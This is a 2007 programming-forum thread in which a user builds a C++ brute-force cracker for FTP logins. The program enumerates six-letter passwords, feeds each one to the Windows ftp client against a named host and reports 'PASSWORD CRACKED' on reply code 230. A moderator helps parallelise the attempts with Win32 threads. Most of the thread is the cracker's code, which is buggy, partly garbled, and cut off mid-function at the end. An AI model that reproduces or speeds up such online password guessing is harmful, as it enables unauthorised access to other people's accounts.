473,326 Members | 2,813 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,326 software developers and data experts.

system() in for loop

109 100+
I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

Expand|Select|Wrap|Line Numbers
  1. cout<< a << b << c << d << e << f <<"\n";
  2. ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  3. record<< a << b << c << d << e << f;
  4. record.close();
  5. ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  6. char password[6];
  7. readrecord>> password;
  8. ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
  9. ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  10. ftpscript.close();
  11. system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
Jun 30 '07 #1
21 2217
weaknessforcats
9,208 Expert Mod 8TB
Anytime you use the system command() you are at the mercy of the command. In this case, logging onto a server.

Can you batch this stuff up, do one logon and ftp an ftp the entire batch?
Jun 30 '07 #2
niskin
109 100+
Well what I ideally want to do is instead of disconnecting from the server, keep logging on, however there seems to be no ftp command that runs a script except the ftp -s command, but I have to disconnect to use that again.

What do you mean by "do one logon and ftp an ftp the entire batch"?
Jun 30 '07 #3
weaknessforcats
9,208 Expert Mod 8TB
Is there any way you can ftp all your data using one ftp?

You say you have a loop.

Can you not accumulate the data from the loop and then ftp it one shot?
Jun 30 '07 #4
niskin
109 100+
No sadly not. I am using more than one password and some of them may be wrong. It's up to the user to get it right, so I need a loop.
Jun 30 '07 #5
weaknessforcats
9,208 Expert Mod 8TB
Your next approach is to start a new thread on each system() call. That way the logons can proceed in parallel since there are no limits on the number of threads you can have running at once.

The drawback is you will need to use multithreading which may be a learning curve.
Jul 2 '07 #6
niskin
109 100+
Have you got any websites you can point me to that will teach me how to do this?
Jul 2 '07 #7
weaknessforcats
9,208 Expert Mod 8TB
From the way your paths are coded, it looks like you use Windows.

Your thread is a function.

The function must be a ThreadProc:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
That is, your function can have any name but it must have this prototype.

You call CreateThread(). One of the argument is your threadproc. You use the address of your function. Another argument is the LPVOID. What you put here shows up as the LPVOID argument when your function starts.

CreateThread() will call your function on its own thread. The thread exists as log as your function is running.

If you need to talk to your thread (like ask it to stop or do something new), you use an Event. There are functions for SetEvent and for the thread to detect and event, like WaitForSingleObject.

Start here.
Jul 2 '07 #8
niskin
109 100+
This is what I have tried so far, but it's not working. The function I want it to start in a new thread is called six.

Expand|Select|Wrap|Line Numbers
  1.   if(strlen(letters)==6) {
  2.                            HANDLE WINAPI CreateThread(
  3.                            NULL,
  4.                            0,
  5.                            six,
  6.                            NULL,
  7.                            six(LPVOID),
  8.                            NULL
  9.                            );
What have I done wrong?
Jul 2 '07 #9
niskin
109 100+
This is an update of my source code. I have put main() back to how it was originally and changed six() instead. Here is the source code for six():

Expand|Select|Wrap|Line Numbers
  1. int six() {
  2.     // define the interface
  3.     struct IRunnable {
  4.     virtual void run() = 0;
  5.     };
  6.  
  7.     // define the thread class
  8.     class Thread {
  9.     public:
  10.     Thread(IRunnable *ptr) {
  11.     _threadObj = ptr;
  12.   }
  13.   void start() {
  14.   // use the Win32 API here
  15.   DWORD threadID;
  16.   ::CreateThread(0, 0, threadProc, _threadObj, 0, &threadID);
  17.   }
  18.  
  19.   protected:
  20.   // Win32 compatible thread parameter and procedure 
  21.   IRunnable *_threadObj; 
  22.   static unsigned long __stdcall threadProc(void* ptr) {
  23.   ((IRunnable*)ptr)->run();
  24.   return 0;
  25.   }   
  26. };
  27.  
  28.   // define class with a threadable method
  29.   class MyObject : IRunnable {
  30.   public:
  31.   // the thread procedure
  32.   virtual void run() {
  33.         char letters[100];
  34.     char username[20];
  35.     ifstream user ( "username.txt" );
  36.     user>> username;
  37.     user.close();
  38.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  39.     ifstream record ( "record.txt" );
  40.     record>> letters;
  41.     record.close();
  42.     for(char a = letters[0]; a <= alphabet[25]; a++)
  43.     {
  44.              for(char b = letters[1]; b <= alphabet[25]; b++)
  45.              {
  46.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  47.                       {
  48.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  49.                            {
  50.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  51.                                     {
  52.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  53.                                              {
  54.                                                       FILE *success;
  55.                                                       success=fopen("success.txt", "w+");
  56.                                                       fprintf(success, "");
  57.                                                       fclose(success);
  58.                                                       cout<< a << b << c << d << e << f <<"\n";
  59.                                                       ofstream record ( "record.txt" );
  60.                                                       record<< a << b << c << d << e << f;
  61.                                                       record.close();
  62.                                                       ifstream readrecord ( "record.txt" );
  63.                                                       char password[6];
  64.                                                       readrecord>> password;
  65.                                                       ofstream ftpscript ( "ftpscript.txt" );
  66.                                                       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  67.                                                       ftpscript.close();
  68.                                                       char   psBuffer[128];
  69.                                                       FILE   *pPipe;
  70.                                                       /* Run command so that it writes its output to a pipe. Open this
  71.                                                       * pipe with read text attribute so that we can read it 
  72.                                                       * like a text file. 
  73.                                                       */
  74.                                                       if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
  75.                                                       exit( 1 );
  76.  
  77.                                                       /* Read pipe until end of file. */
  78.                                                       while( !feof( pPipe ) )
  79.                                                       {
  80.                                                       if( fgets( psBuffer, 128, pPipe ) != NULL )
  81.                                                       //printf( psBuffer );
  82.                                                       FILE *success;
  83.                                                       success=fopen("success.txt", "a+");
  84.                                                       fprintf(success, psBuffer);
  85.                                                       fclose(success);
  86.                                                       }
  87.  
  88.                                                       char reada[20];
  89.                                                       char readb[20];
  90.                                                       char readc[20];
  91.                                                       char readd[20];
  92.                                                       char reade[20];
  93.                                                       char readf[20];
  94.                                                       char readg[20];
  95.                                                       char readh[20];
  96.                                                       char readi[20];
  97.                                                       char readj[20];
  98.                                                       char readk[20];
  99.                                                       char readl[20];
  100.                                                       char readm[20];
  101.                                                       int readn;
  102.  
  103.                                                       ifstream read ( "success.txt" );
  104.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  105.                                                       read.close();
  106.                                                       //cout<< readn;
  107.                                                       if (readn == 230){
  108.                                                                 cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
  109.                                                                 cin.get();
  110.                                                       }
  111.  
  112.                                                       }
  113.                                              }
  114.                                     }
  115.                            }    
  116.                       }
  117.              }
  118.   }
  119. }
  120.  
  121.  MyObject *obj = new MyObject();
  122.  Thread thread = new Thread(obj);
  123.  thread->start();
  124.  
  125. }
These lines:

Expand|Select|Wrap|Line Numbers
  1.  MyObject *obj = new MyObject();
  2.  Thread thread = new Thread(obj);
  3.  thread->start();
are not compiling. Any ideas why?
Jul 2 '07 #10
weaknessforcats
9,208 Expert Mod 8TB
I didn't know you were going to use a class.

With a class it's a little different. Here is code that works:
Expand|Select|Wrap|Line Numbers
  1.  
  2.  
  3. //Demo of how to create a thread within a class
  4.  
  5.  
  6. #include <iostream>
  7. using namespace std;
  8. #include <windows.h>
  9.  
  10.  
  11. class MyClass
  12. {
  13.     public:
  14.         MyClass();
  15.         static DWORD WINAPI StartThreadOne(LPVOID in);
  16.         void LaunchOne();
  17.         void ExecuteThreadOne();
  18.         int GetDataOne() { return DataOne;}
  19.         void SetDataOne(int in) {DataOne = in;}
  20.  
  21.     private:
  22.         HANDLE hThreadOne;
  23.         int DataOne;
  24. };
  25.  
  26.     MyClass::MyClass() : hThreadOne(0), DataOne(0)
  27. {
  28.  
  29. }
  30.  
  31. void MyClass::LaunchOne()
  32. {
  33.     DWORD threadid;                    //to hold the returned thread id
  34.     HANDLE th = CreateThread(
  35.                         NULL,        //use default security
  36.                         0,            //use stack size of calling thread
  37.                         StartThreadOne,       //the thread
  38.                         this,            //the thread input argument
  39.                         0,            //run immediately
  40.                         &threadid
  41.                         );
  42.     if (!th)
  43.     {
  44.         cout << "CreateThread failed" << endl;
  45.     }
  46.  
  47. }
  48.  
  49. DWORD WINAPI MyClass::StartThreadOne(LPVOID in)
  50. {
  51.     reinterpret_cast<MyClass*> (in) ->ExecuteThreadOne();
  52.  
  53.     return 0;    //thread completed
  54. }
  55.  
  56. void MyClass::ExecuteThreadOne()
  57. {
  58.     while (1)
  59.     {
  60.         DataOne++;
  61.         Sleep(500);
  62.     }
  63. }
  64.  
  65.  
  66.  
  67.  
  68. int main()
  69. {
  70.     cout << "Starting main()" << endl;
  71.     MyClass  obj;
  72.              obj.LaunchOne();
  73.  
  74.     int buffer;
  75.     while (1)
  76.     {
  77.         buffer = obj.GetDataOne();
  78.         cout << buffer << " ";
  79.         Sleep(500);
  80.         if (buffer > 20)
  81.         {
  82.             obj.SetDataOne(0);
  83.         }
  84.     }
  85.  
  86.     return 0;
  87. }
  88.  
  89.  
  90.  
  91. /*
  92. HANDLE CreateThread(
  93.   LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  94.   DWORD dwStackSize,                        // initial stack size
  95.   LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  96.   LPVOID lpParameter,                       // thread argument
  97.   DWORD dwCreationFlags,                    // creation option
  98.   LPDWORD lpThreadId                        // thread identifier
  99. );
  100. */
  101.  
So, in main() you create a MyClass object and call the LaunchOne() method.

MyClass::LaunchOne() does the call to ::CreateThread using the threadproc which is MyClass::StartThreadOne. Note that this is a static member function. The function used in the ::CreateThread() argument cannot require an object. Hence, the static.

Once MyClass::StartThreadOne() starts, it casts the LPVOID (provided by ::CreateThread() where a MyClass this was used for the thread argument) to a MyClass pointer. Now you can run methods on your class. In this example it is MyClass::ExecuteThreadOne() that is really doing the work.

Change your code to operate along these lines.
Jul 3 '07 #11
niskin
109 100+
Ok this is a little complicated. The reason I was using a class is because I found a site which showed how to do it with a class, but if there is a simpler way to do it I would be grateful for a way to do it without a class.

And congratulations on breaking the 1000 posts mark.
Jul 3 '07 #12
niskin
109 100+
This is most of my source code (without functions int seven() and int eight() included) without creating a thread if it helps:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. #include <stdio.h>
  4. #include <windows.h>
  5.  
  6. using namespace std;
  7.  
  8. int six();
  9. //int seven();
  10. //int eight();
  11.  
  12. int main() {
  13.  
  14.     char letters[100];
  15.     char username[20];
  16.     cout<<"Enter the username to use: ";
  17.     cin.getline(username,20);
  18.     ofstream user ( "username.txt" );
  19.     user<< username;
  20.     user.close();
  21.     cout<<"\nEnter the letters to use: ";
  22.     cin.getline(letters,100);
  23.     ofstream record ( "record.txt" );
  24.     record<< letters;
  25.     record.close();
  26.  
  27.     if(strlen(letters)==6) {
  28.                            six();
  29.                            }
  30. //    if(strlen(letters)==7) {
  31. //                          seven();
  32. //                          }
  33. //    if(strlen(letters)==8) {
  34. //                           eight();
  35. //                           }
  36. }
  37.  
  38. int six() {
  39.  
  40.     char letters[100];
  41.     char username[20];
  42.     ifstream user ( "username.txt" );
  43.     user>> username;
  44.     user.close();
  45.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  46.     ifstream record ( "record.txt" );
  47.     record>> letters;
  48.     record.close();
  49.     for(char a = letters[0]; a <= alphabet[25]; a++)
  50.     {
  51.              for(char b = letters[1]; b <= alphabet[25]; b++)
  52.              {
  53.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  54.                       {
  55.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  56.                            {
  57.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  58.                                     {
  59.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  60.                                              {
  61.                                                       FILE *success;
  62.                                                       success=fopen("success.txt", "w+");
  63.                                                       fprintf(success, "");
  64.                                                       fclose(success);
  65.                                                       cout<< a << b << c << d << e << f <<"\n";
  66.                                                       ofstream record ( "record.txt" );
  67.                                                       record<< a << b << c << d << e << f;
  68.                                                       record.close();
  69.                                                       ifstream readrecord ( "record.txt" );
  70.                                                       char password[6];
  71.                                                       readrecord>> password;
  72.                                                       ofstream ftpscript ( "ftpscript.txt" );
  73.                                                       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  74.                                                       ftpscript.close();
  75.                                                       char   psBuffer[128];
  76.                                                       FILE   *pPipe;
  77.                                                       /* Run command so that it writes its output to a pipe. Open this
  78.                                                       * pipe with read text attribute so that we can read it 
  79.                                                       * like a text file. 
  80.                                                       */
  81.                                                       if( (pPipe = _popen("<command-to-connect-to-ftp>", "rt" )) == NULL )
  82.                                                       exit( 1 );
  83.  
  84.                                                       /* Read pipe until end of file. */
  85.                                                       while( !feof( pPipe ) )
  86.                                                       {
  87.                                                       if( fgets( psBuffer, 128, pPipe ) != NULL )
  88.                                                       //printf( psBuffer );
  89.                                                       FILE *success;
  90.                                                       success=fopen("success.txt", "a+");
  91.                                                       fprintf(success, psBuffer);
  92.                                                       fclose(success);
  93.                                                       }
  94.  
  95.                                                       char reada[20];
  96.                                                       char readb[20];
  97.                                                       char readc[20];
  98.                                                       char readd[20];
  99.                                                       char reade[20];
  100.                                                       char readf[20];
  101.                                                       char readg[20];
  102.                                                       char readh[20];
  103.                                                       char readi[20];
  104.                                                       char readj[20];
  105.                                                       char readk[20];
  106.                                                       char readl[20];
  107.                                                       char readm[20];
  108.                                                       int readn;
  109.  
  110.                                                       ifstream read ( "success.txt" );
  111.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  112.                                                       read.close();
  113.                                                       //cout<< readn;
  114.                                                       if (readn == 230){
  115.                                                                 cout<< "\n\nYou are now logged on";
  116.                                                                 cin.get();
  117.                                                       }
  118.  
  119.                                                       }
  120.                                              }
  121.                                     }
  122.                            }    
  123.                       }
  124.              }
  125. }
  126.  
  127. //int seven() and int eight() are similar to six()
Jul 3 '07 #13
weaknessforcats
9,208 Expert Mod 8TB
All you do is call CreateThread() in your main().

Write a ThreadProc function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
Yours might be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI Niskin(LPVOID arg)
  2. {
  3.       //The LPVOID argument is the address of a struct Data (see below)
  4.       //Type cast arg to a Data* to access the members.
  5.       //do the ftp in here.
  6. }
  7.  

You need a file name, a userid and a password. Use a struct for this.
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2. {
  3.     char* file name;
  4.     char* userid;
  5.     char* password;
  6. };
  7.  
Create a Data variable and intialize the members.

Then call:
Expand|Select|Wrap|Line Numbers
  1. Data var;
  2. /*intialize the var members */
  3.  
  4. DWORD threadid;     //to hold the returned thread id
  5.     HANDLE th = CreateThread(
  6.                         NULL,      //use default security
  7.                         0,      //use stack size of calling thread
  8.                         niskin,     //the thread
  9.                         &var,         //the thread input argument
  10.                         0,      //run immediately
  11.                         &threadid
  12.                         );
  13.  
If the return is not NULL, you have a successful thread launch. The thread ID is in that DWORD. You use the thread ID to communicate with your thread if necessary.

I did not compile this example. This is to just give you the idea.
Jul 4 '07 #14
niskin
109 100+
All you do is call CreateThread() in your main().

Write a ThreadProc function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
Yours might be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI Niskin(LPVOID arg)
  2. {
  3.       //The LPVOID argument is the address of a struct Data (see below)
  4.       //Type cast arg to a Data* to access the members.
  5.       //do the ftp in here.
  6. }
  7.  

You need a file name, a userid and a password. Use a struct for this.
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2. {
  3.     char* file name;
  4.     char* userid;
  5.     char* password;
  6. };
  7.  
Do I need to use a struct because I am writing the data to a file and then using that file in the ftp command?

Also, I am using 6 for loops for the six() function, 7 for the seven() function etc. and I need to run a new thread each time the loop starts again. Where abouts should I put the code to start the thread? Should it be inside the loop?

I have tried this:

Expand|Select|Wrap|Line Numbers
  1. int six() {
  2.  
  3.  
  4.  
  5.     char letters[100];
  6.     char username[20];
  7.     ifstream user ( "username.txt" );
  8.     user>> username;
  9.     user.close();
  10.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  11.     ifstream record ( "record.txt" );
  12.     record>> letters;
  13.     record.close();
  14.     struct Data
  15.     {
  16.            char* userid;
  17.            char* password;
  18.     };
  19.     Data var;
  20.     for(char a = letters[0]; a <= alphabet[25]; a++)
  21.     {
  22.              for(char b = letters[1]; b <= alphabet[25]; b++)
  23.              {
  24.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  25.                       {
  26.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  27.                            {
  28.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  29.                                     {
  30.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  31.                                              {
  32.                                                       DWORD WINAPI niskin(LPVOID);
  33.                                                       {
  34.                                                             //The LPVOID argument is the address of a struct Data (see below)
  35.                                                             //Type cast arg to a Data* to access the members.
  36.                                                             //do the ftp in here.
  37.                                                             FILE *success;
  38.                                                             success=fopen("success.txt", "w+");
  39.                                                             fprintf(success, "");
  40.                                                             fclose(success);
  41.                                                             cout<< a << b << c << d << e << f <<"\n";
  42.                                                             ofstream record ( "record.txt" );
  43.                                                             record<< a << b << c << d << e << f;
  44.                                                             record.close();
  45.                                                             ifstream readrecord ( "record.txt" );
  46.                                                             char password[6];
  47.                                                             readrecord>> password;
  48.                                                             ofstream ftpscript ( "ftpscript.txt" );
  49.                                                             ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  50.                                                             ftpscript.close();
  51.                                                             char   psBuffer[128];
  52.                                                             FILE   *pPipe;
  53.                                                             /* Run command so that it writes its output to a pipe. Open this
  54.                                                              * pipe with read text attribute so that we can read it 
  55.                                                              * like a text file. 
  56.                                                              */
  57.                                                             if( (pPipe = _popen( "<command-to-log-on-to-ftp>", "rt" )) == NULL )
  58.  
  59.                                                             /* Read pipe until end of file. */
  60.                                                             while( !feof( pPipe ) )
  61.                                                             {
  62.                                                             if( fgets( psBuffer, 128, pPipe ) != NULL )
  63.                                                             //printf( psBuffer );
  64.                                                             FILE *success;
  65.                                                             success=fopen("success.txt", "a+");
  66.                                                             fprintf(success, psBuffer);
  67.                                                             fclose(success);
  68.                                                             }
  69.  
  70.                                                       }
  71.  
  72.                                                       DWORD threadid;     //to hold the returned thread id
  73.                                                       HANDLE th = CreateThread(
  74.                                                              NULL,      //use default security
  75.                                                              0,      //use stack size of calling thread
  76.                                                              niskin,     //the thread
  77.                                                              &var,         //the thread input argument
  78.                                                              0,      //run immediately
  79.                                                              &threadid
  80.                                                              );
  81.  
  82.  
  83.                                                       char reada[20];
  84.                                                       char readb[20];
  85.                                                       char readc[20];
  86.                                                       char readd[20];
  87.                                                       char reade[20];
  88.                                                       char readf[20];
  89.                                                       char readg[20];
  90.                                                       char readh[20];
  91.                                                       char readi[20];
  92.                                                       char readj[20];
  93.                                                       char readk[20];
  94.                                                       char readl[20];
  95.                                                       char readm[20];
  96.                                                       int readn;
  97.  
  98.                                                       ifstream readrecord ( "record.txt" );
  99.                                                       char password[6];
  100.                                                       readrecord>> password;
  101.                                                       ifstream read ( "success.txt" );
  102.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  103.                                                       read.close();
  104.                                                       if (readn == 230){
  105.                                                                 cout<< "\n\nYou are now logged on";
  106.                                                                 cin.get();
  107.                                                       }
  108.  
  109.                                                       }
  110.                                              }
  111.                                     }
  112.                            }    
  113.                       }
  114.              }
  115. }
  116.  
I get an error compiling it that says "[Linker error] undefined reference to '_Z6niskinPv@4'"
Jul 4 '07 #15
weaknessforcats
9,208 Expert Mod 8TB
You need a struct becuse the thread function can have only an LPVOID argument. There is not way to pass in multiple arguments. So you create a struct variable and pass the address of the variable as the LPVOID. Then indise the threrad function you can typecaste the LPVOID back to a struct pointer to access the members.

So, you ceate a struct variable an call CreateThread(). The CreateThread() can be indie a loop provided you can use different struct pointers for each call.

On line 32 you have this:
Expand|Select|Wrap|Line Numbers
  1.  DWORD WINAPI niskin(LPVOID);
  2.  
That is a function prototype. Move this to the top of the file.
Jul 5 '07 #16
niskin
109 100+
I'm still getting the same error as before. Please point out whatever I have done wrong in my code:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. int six();
  7. DWORD WINAPI niskin(LPVOID);
  8.  
  9. int main() {
  10.  
  11.     char letters[100];
  12.     char username[20];
  13.     cout<<"Enter the username to use: ";
  14.     cin.getline(username,20);
  15.     ofstream user ( "username.txt" );
  16.     user<< username;
  17.     user.close();
  18.     cout<<"\nEnter the letters to use: ";
  19.     cin.getline(letters,100);
  20.     ofstream record ( "record.txt" );
  21.     record<< letters;
  22.     record.close();
  23.  
  24.     if(strlen(letters)==6) {
  25.                            six();
  26.                            }
  27.     /*if(strlen(letters)==7) {
  28.                           seven();
  29.                           }
  30.     if(strlen(letters)==8) {
  31.                            eight();
  32.                            }*/
  33. }
  34.  
  35.  
  36. int six() {
  37.  
  38.  
  39.  
  40.     char letters[100];
  41.     char username[20];
  42.     ifstream user ( "username.txt" );
  43.     user>> username;
  44.     user.close();
  45.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  46.     ifstream record ( "record.txt" );
  47.     record>> letters;
  48.     record.close();
  49.     struct Data
  50.     {
  51.            char* userid;
  52.            char* password;
  53.     };
  54.     Data var;
  55.     for(char a = letters[0]; a <= alphabet[25]; a++)
  56.     {
  57.              for(char b = letters[1]; b <= alphabet[25]; b++)
  58.              {
  59.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  60.                       {
  61.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  62.                            {
  63.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  64.                                     {
  65.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  66.                                              {
  67.  
  68.  
  69.                                                             //The LPVOID argument is the address of a struct Data (see below)
  70.                                                             //Type cast arg to a Data* to access the members.
  71.                                                             //do the ftp in here.
  72.                                                             FILE *success;
  73.                                                             success=fopen("success.txt", "w+");
  74.                                                             fprintf(success, "");
  75.                                                             fclose(success);
  76.                                                             cout<< a << b << c << d << e << f <<"\n";
  77.                                                             ofstream record ( "record.txt" );
  78.                                                             record<< a << b << c << d << e << f;
  79.                                                             record.close();
  80.                                                             ifstream readrecord ( "record.txt" );
  81.                                                             char password[6];
  82.                                                             readrecord>> password;
  83.                                                             ofstream ftpscript ( "ftpscript.txt" );
  84.                                                             ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  85.                                                             ftpscript.close();
  86.                                                             char   psBuffer[128];
  87.                                                             FILE   *pPipe;
  88.                                                             /* Run command so that it writes its output to a pipe. Open this
  89.                                                              * pipe with read text attribute so that we can read it 
  90.                                                              * like a text file. 
  91.                                                              */
  92.                                                             if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
  93.  
  94.                                                             /* Read pipe until end of file. */
  95.                                                             while( !feof( pPipe ) )
  96.                                                             {
  97.                                                             if( fgets( psBuffer, 128, pPipe ) != NULL )
  98.                                                             //printf( psBuffer );
  99.                                                             FILE *success;
  100.                                                             success=fopen("success.txt", "a+");
  101.                                                             fprintf(success, psBuffer);
  102.                                                             fclose(success);
  103.                                                             }
  104.  
  105.  
  106.  
  107.                                                       DWORD threadid;     //to hold the returned thread id
  108.                                                       HANDLE th = CreateThread(
  109.                                                              NULL,      //use default security
  110.                                                              0,      //use stack size of calling thread
  111.                                                              niskin,     //the thread
  112.                                                              &var,         //the thread input argument
  113.                                                              0,      //run immediately
  114.                                                              &threadid
  115.                                                              );
  116.  
  117.  
  118.                                                       char reada[20];
  119.                                                       char readb[20];
  120.                                                       char readc[20];
  121.                                                       char readd[20];
  122.                                                       char reade[20];
  123.                                                       char readf[20];
  124.                                                       char readg[20];
  125.                                                       char readh[20];
  126.                                                       char readi[20];
  127.                                                       char readj[20];
  128.                                                       char readk[20];
  129.                                                       char readl[20];
  130.                                                       char readm[20];
  131.                                                       int readn;
  132.  
  133.  
  134.                                                       readrecord>> password;
  135.                                                       ifstream read ( "success.txt" );
  136.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  137.                                                       read.close();
  138.                                                       if (readn == 230){
  139.                                                                 cout<< "\n\nYou are now logged in";
  140.                                                                 cin.get();
  141.                                                       }
  142.  
  143.                                                       }
  144.                                              }
  145.                                     }
  146.                            }    
  147.                       }
  148.              }
  149. }
  150.  
  151.  
Jul 5 '07 #17
weaknessforcats
9,208 Expert Mod 8TB
You haven't written the thread function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID)
  2. {
  3.     //this is your thread logic     
  4. }
  5.  
Jul 6 '07 #18
niskin
109 100+
Sorry that I've needed so much help on this, I've now got this (it's a bit messy, I've just been rearranging my code by copying and pasting it into the right parts, haven't tidied it up yet):

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. int six();
  7. DWORD WINAPI niskin(LPVOID)
  8. {
  9.           char letters[100];
  10.     char username[20];
  11.     ifstream user ( "username.txt" );
  12.     user>> username;
  13.     user.close();
  14.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  15.     ifstream record ( "record.txt" );
  16.     record>> letters;
  17.     record.close();
  18.       for(char a = letters[0]; a <= alphabet[25]; a++)
  19.     {
  20.              for(char b = letters[1]; b <= alphabet[25]; b++)
  21.              {
  22.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  23.                       {
  24.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  25.                            {
  26.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  27.                                     {
  28.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  29.                                              {
  30.  
  31.       //The LPVOID argument is the address of a struct Data (see below)
  32.       //Type cast arg to a Data* to access the members.
  33.       //do the ftp in here.
  34.       FILE *success;
  35.       success=fopen("success.txt", "w+");
  36.       fprintf(success, "");
  37.       fclose(success);
  38.       cout<< a << b << c << d << e << f <<"\n";
  39.       ofstream record ( "record.txt" );
  40.       record<< a << b << c << d << e << f;
  41.       record.close();
  42.       ifstream readrecord ( "record.txt" );
  43.       char password[6];
  44.       readrecord>> password;
  45.       ofstream ftpscript ( "ftpscript.txt" );
  46.       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  47.       ftpscript.close();
  48.       char   psBuffer[128];
  49.       FILE   *pPipe;
  50.       /* Run command so that it writes its output to a pipe. Open this
  51.        * pipe with read text attribute so that we can read it 
  52.        * like a text file. 
  53.        */
  54.       if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
  55.  
  56.       /* Read pipe until end of file. */
  57.       while( !feof( pPipe ) )
  58.       {
  59.       if( fgets( psBuffer, 128, pPipe ) != NULL )
  60.       //printf( psBuffer );
  61.       FILE *success;
  62.       success=fopen("success.txt", "a+");
  63.       fprintf(success, psBuffer);
  64.       fclose(success);
  65.       }
  66.       char reada[20];
  67.                                                       char readb[20];
  68.                                                       char readc[20];
  69.                                                       char readd[20];
  70.                                                       char reade[20];
  71.                                                       char readf[20];
  72.                                                       char readg[20];
  73.                                                       char readh[20];
  74.                                                       char readi[20];
  75.                                                       char readj[20];
  76.                                                       char readk[20];
  77.                                                       char readl[20];
  78.                                                       char readm[20];
  79.                                                       int readn;
  80.  
  81.  
  82.                                                       readrecord>> password;
  83.                                                       ifstream read ( "success.txt" );
  84.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  85.                                                       read.close();
  86.                                                       if (readn == 230){
  87.                                                                 cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
  88.                                                                 cin.get();
  89.       }
  90.                                              }
  91.                                     }
  92.                            }    
  93.                       }
  94.              }
  95. }
  96. }
  97. int main() {
  98.  
  99.     char letters[100];
  100.     char username[20];
  101.     cout<<"hailFTP written by NAViiS.KiNDD\n\n" <<"Enter the username to use: ";
  102.     cin.getline(username,20);
  103.     ofstream user ( "username.txt" );
  104.     user<< username;
  105.     user.close();
  106.     cout<<"\nEnter the letters to use: ";
  107.     cin.getline(letters,100);
  108.     ofstream record ( "record.txt" );
  109.     record<< letters;
  110.     record.close();
  111.  
  112.     if(strlen(letters)==6) {
  113.                            six();
  114.                            }
  115.     /*if(strlen(letters)==7) {
  116.                           seven();
  117.                           }
  118.     if(strlen(letters)==8) {
  119.                            eight();
  120.                            }*/
  121. }
  122.  
  123.  
  124. int six() {
  125.  
  126.  
  127.  
  128.  
  129.     struct Data
  130.     {
  131.            char* userid;
  132.            char* password;
  133.     };
  134.     Data var;
  135.  
  136.  
  137.  
  138.  
  139.  
